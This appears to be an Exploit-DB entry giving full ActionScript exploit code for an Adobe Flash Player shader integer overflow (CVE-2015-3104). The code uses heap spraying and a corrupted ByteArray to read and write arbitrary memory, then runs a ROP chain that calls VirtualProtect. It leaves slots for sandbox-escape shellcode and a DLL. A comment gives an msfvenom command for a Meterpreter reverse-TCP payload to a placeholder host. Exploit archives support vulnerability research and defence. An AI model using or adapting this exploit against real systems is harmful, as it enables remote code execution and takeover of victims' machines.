Adobe Flash Player - Integer Overflow

EDB-ID:

50290

CVE:

N/A


Author:

ryujin

Type:

remote


Platform:

Multiple

Date:

2017-01-14


// Exploit Title: Adobe Flash Player - Integer Overflow
// Exploit Author: Matteo Memelli (ryujin@offensive-security)
// Date: 14/01/2017
// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
// CVE: CVE-2015-3104
// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104

package
{
  import flash.display.*;
  import flash.utils.ByteArray;
  import flash.events.Event;
  import flash.events.MouseEvent;
  import flash.text.*
  import mx.utils.Base64Decoder;

  public class ShaderInputOverflow extends Sprite
  {
  	public var bb:ByteArray = null;
	public var allocate:Array;
	public var MAX_ARRAY:uint = 81920;
	public var text:TextField = new TextField();
	public var gText:String = "";
	public var corrupted:uint = 0;
	public var corrupted_ba_address:uint = 0;
	public var corrupted_ba_pos:uint = 0;
	public var next_ba_address:uint = 0;
	public var NPSWF32Base:uint = 0;

    public function ShaderInputOverflow():void
    {
		if (stage) drawText();
		else addEventListener(Event.ADDED_TO_STAGE, drawText);
		drawText();

		var i:uint;
		allocate = new Array();

		for (i = 0; i < MAX_ARRAY; i++) {
		  bb = new ByteArray();
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  allocate.push(bb);
		}

		// We create "holes" of size 0x18 bytes on the heap
		i = MAX_ARRAY/2;
		while (i<MAX_ARRAY)
		{
		if (i % 2 != 0) {
			allocate[i] = null;
		}
		i++;
		}

		var ba:ByteArray = new ByteArray();
		ba.writeByte(0xa1);  // Define parameter?
		ba.writeByte(0x02);  // Output.
		ba.writeByte(0x04);  // Type: 4 floats.
		ba.writeByte(0x00);  // 16-bit field, ??
		ba.writeByte(0x01);
		ba.writeByte(0xff);  // Mask.
		ba.writeByte(0x41);
		ba.writeByte(0x00);  // Param name: 'A'
		ba.writeByte(0xa3);  // Add texture?
		ba.writeByte(0x00);  // Index?
		ba.writeByte(0x40);  // 64 channels.
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x00);  // Texture name: 'BBBB'
		ba.position = 0;
		var baOut:ByteArray = new ByteArray();
		var baIn:ByteArray = new ByteArray();

		// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
		// and the pointer to the data to 0x16000000

		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x41414141); // ptr
		baIn.writeUnsignedInt(0x41414141); // 0x1

		// Offset can be 0x10 bytes
		baIn.writeUnsignedInt(0x16000000); // ptr to data
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0x16000000); // length / ptr to data
		// Another time in case the offset is 0x8 bytes
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0xffffffff); // length

		var job:ShaderJob = new ShaderJob();
		var shader:Shader = new Shader();
		shader.byteCode = ba;
		shader.data.BBBB.width = 8192;
		shader.data.BBBB.height = 8192;
		shader.data.BBBB.input = baIn;
		job.target = baOut;
		job.width = 1;
		job.height = 1;
		job.shader = shader;

		// We need to catch the Error thrown by Flash to continue the execution
		// job.start triggers the copy that causes the heap overflow
		try
		{
			job.start(true);
		}
		catch (err:Error)
		{
			trace("w00t");
		}
		var s:spray = new spray();
		corrupted = findCorrupted();
		allocate[corrupted].position = 0;
		gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
		gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
		findCorruptedAddress();
		gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
		var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
		gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
		NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
		gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";

		// Look for the corrupted ByteArray::Buffer object address
		var tosearch:uint = corrupted_ba_address;
		gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
		var VTableObj:uint = findVTable(tosearch);
		gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
		updateText();

		var methodEnvVtable:uint = readDword(VTableObj+0xd4);
		gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
		updateText();

		// Crash on the Jitted pointer dereference that leads to code execution
		//writeDword((VTableObj+0xd4), 0x42424242);

		// Control the Jitted pointer dereference that leads to code execution
		writeROPChain(NPSWF32Base);

		// Decode and Write the files for the privilege escalation to memory
		var dll:ByteArray = new ByteArray();
		var met:ByteArray = new ByteArray();
		var dec1:Base64Decoder = new Base64Decoder();
		var dec2:Base64Decoder = new Base64Decoder();
		// sandbox exploit code
		dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
		dll = dec1.toByteArray();

		// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
		// base64 pwnd.exe | tr --delete '\n'
		// Meterpreter executable or any other payload…
 		dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
		met = dec2.toByteArray();
		writeBytes(0x1a100000, met);
		writeBytes(0x1a200000, dll);

		writeDword((VTableObj+0xd4), 0x1a000000);
		gText += allocate[corrupted].toString();
    }

	private function hexStringToByteArray(hexstring:String) : ByteArray
    {
		var bindata:ByteArray = new ByteArray();
		bindata.endian = "littleEndian";
		var hexstr:String = null;
		var count:uint = 0;
		while(count < hexstring.length)
		{
			hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));
			bindata.writeByte(parseInt(hexstr, 16));
			count += 2;
		}
		return bindata;
	}

	private function writeROPChain(NPSWF32Base:uint):void
	{

		var ROPaddr:uint = 0x1a00CBE2;

		writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); 				// PIVOT XCHG ECX,ESP...

		// Save stack information to restore the execution flow after shellcode
		writeDword(0x1a000000, (NPSWF32Base+0x00007324)); 				// POP EAX # RETN
		writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ;					// SAVE ECX VALUE HERE
		writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ;	// MOV [EAX],ECX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ;	// POP EAX # RETN
		writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ;					// SAVE EBX VALUE HERE
		writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ;	// MOV [EAX],EBX # POP EBX # POP ECX; RETN
		writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ;					// JUNK
		writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ;					// JUNK

		// Mona Chain
		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ;	// POP EBX # RETN
		writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ;
		writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ;	// POP EDX # RETN
		writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ;
		writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ;	// POP ECX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ;	// &Writable location
		writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ;	// POP EDI # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ;	// ROP NOP # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ;	// POP ESI # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ;	// JMP [EAX]
		writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ;	// POP EAX # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ;	// ptr to VirtualProtect IAT
		writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ;	// PUSHAD # RETN
		writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ;	// PTR TO JMP ESP

		// NOPsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// shellcode

		var Shellcode:String = new String();

		Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... ";
		writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;

		// Restore component
		// 1a00cc56 8b0d0004001a    mov     ecx,dword ptr ds:[1A000400h]
		// 1a00cc5c 8b1d0404001a    mov     ebx,dword ptr ds:[1A000404h]
		// 1a00cc62 28d9            sub     cl,bl
		// 1a00cc64 87cc            xchg    ecx,esp
		// 1a00cc66 8bec            mov     ebp,esp
		// 1a00cc68 83c52c          add     ebp,2Ch
		// 1a00cc6b 31c0            xor     eax,eax
		// 1a00cc6d c3              ret
		var Restore:String = new String();
		Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3";
		writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;
	}

	private function findVTable(startAddress:uint):uint
	{
		// Find the VTable Object Address within the ByteArrayObject
		allocate[corrupted].endian = "littleEndian";
		var addr:uint = 0;
		var base:uint = 0x16000000;
		var bstart:uint = base;
		var count:uint = 0;
		while (true)
		{
			if (readDword(base) == startAddress)
			{
				addr = bstart+count;
				// ByteArray::Buffer pointer is at offset +0x40
				addr = addr - 0x40;
				// VTable Object pointer is at +0x8
				return readDword(addr+0x8);
			}
			else
			{
				base  += 4;
				count += 4;
			}
		}
		return addr;
	}

	private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
	{
		// Find a DLL base address by appling the scan down technique
		var addr:uint = NPSWF32Ptr & 0xfffff000;
		while (true)
		{
			if (readDword(addr) == 0x00905a4d)
			{
				return addr;
			}
			else
			{
				addr = addr - 0x1000;
			}
		}
		return addr;
	}

	private function readDword(pAddress:uint):uint
	{
		// Read a DWORD from an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		var res:uint = 0;

		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a DWORD from the new address
		res = allocate[corrupted].readUnsignedInt();
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
		return res;
	}

	private function writeDword(pAddress:uint, value:uint):void
	{
		// write a DWORD to an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a DWORD from the new address
		allocate[corrupted].writeUnsignedInt(value);
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
	}

	private function writeBytes(pAddress:uint, data:ByteArray):void
	{
		// write a ByteArray to an address
		// by changing the ptr to array of bytes
		var tmpIndex:uint = 0;
		// Change ptr to array of bytes
		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(pAddress);
		allocate[corrupted].position = 0;
		// Read a ByteArray tp the new address
		allocate[corrupted].writeBytes(data, 0, 0);
		// Reset ptr to array of bytes to 0x16000000
		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
		allocate[corrupted].position = tmpIndex;
		allocate[corrupted].writeUnsignedInt(0x16000000);
	}

  private function findCorruptedAddress():void
  {
      allocate[corrupted].position = 0;
      allocate[corrupted].endian = "littleEndian";
      while (true)
      {
          if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
          {
              if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
              {
                  // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
                  // otherwise after the two 0x41414141 dwords in case the offset is 0x8

                  // OFFSET 0x10 LENGTH = 0x16000000
                  if (allocate[corrupted].length == 0x16000000)
                      corrupted_ba_pos = allocate[corrupted].position;
                  // OFFSET 0x8  LENGTH = 0xffffffff
                  else
                      corrupted_ba_pos = allocate[corrupted].position + 0x8;
                  // We calculate the address of the corrupted object by using the index
                  // and the base address that we set through the heap overflow.
                  corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
                  // Since every in-use ByteArray object is alternated with a free one
                  // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
                  // from the corrupted one.
                  next_ba_address = corrupted_ba_address + 0x18*2;
                  return;
              }
          }
      }
      return;
  }

	private function findCorrupted():uint
	{
		// Find the corrupted ByteArray::Buffer object.
		// We can find it by checking for a size different from the
		// original 0x10 bytes, since the ByteArray data is 16 bytes
		// for all the objects we allocated, except the corrupted one.
		var i:uint = MAX_ARRAY/2;
		while (i<MAX_ARRAY)
		{
			if (i % 2 == 0)
			{
				if(allocate[i].length != 0x10)
				{
					return i;
				}
			}
			i++;
		}
		return 0;
	}

	public function updateText(e:Event = null):void
	{
		text.text = gText;
	}

	public function drawText(e:Event = null):void
	{
		removeEventListener(Event.ADDED_TO_STAGE, drawText);

		text.text = gText;
		text.width = 300;
		text.height = 100;
		text.x = 10;
		text.y = 10;
		text.multiline = true;
		text.wordWrap = true;
		text.background = true;
		text.border = true;
		var format:TextFormat = new TextFormat();
		format.font = "Verdana";
		format.color = 0xff0000;
		format.size = 8;
		text.defaultTextFormat = format;
		addChild(text);
		text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);
	}

	public function mouseDownScroll(event:MouseEvent):void
	{
		text.scrollV++;
	}

  }
}

import flash.display.MovieClip;
import flash.utils.*;
class spray extends MovieClip
{
	public var allocate:Array;

	public function spray()
	{
		HeapSpray();
	}

	public function HeapSpray() : void
	{
		var chunk_size:uint = 1048576;      // 0x100000
		var block_size:uint = 65536;        // 0x10000
		var heapblocklen:uint = 0;
		var spraychunks:uint = 0;
		var heapblock1:ByteArray;
		var heapblock2:ByteArray;
		var heapblock3:ByteArray;

		heapblock1 = new ByteArray();
		heapblock1.endian = Endian.LITTLE_ENDIAN;

		heapblock1.writeInt(0x41424344);
		heapblocklen = heapblocklen + 4;
		while(heapblocklen < block_size)
		{
			heapblock1.writeByte(0x0d);     // padding to 64K
			heapblocklen = heapblocklen + 1;
		}

		heapblock2 = new ByteArray();

		while(heapblock2.length < chunk_size)
		{
			heapblock2.writeBytes(heapblock1, 0, heapblock1.length);
		}

			allocate = new Array();

		// 600MB spray
		while(spraychunks < 50)
		{
			heapblock3 = new ByteArray();
			heapblock3.writeBytes(heapblock2, 0, heapblock2.length);
			allocate.push(heapblock3);
			spraychunks = spraychunks + 1;
		}
	}
}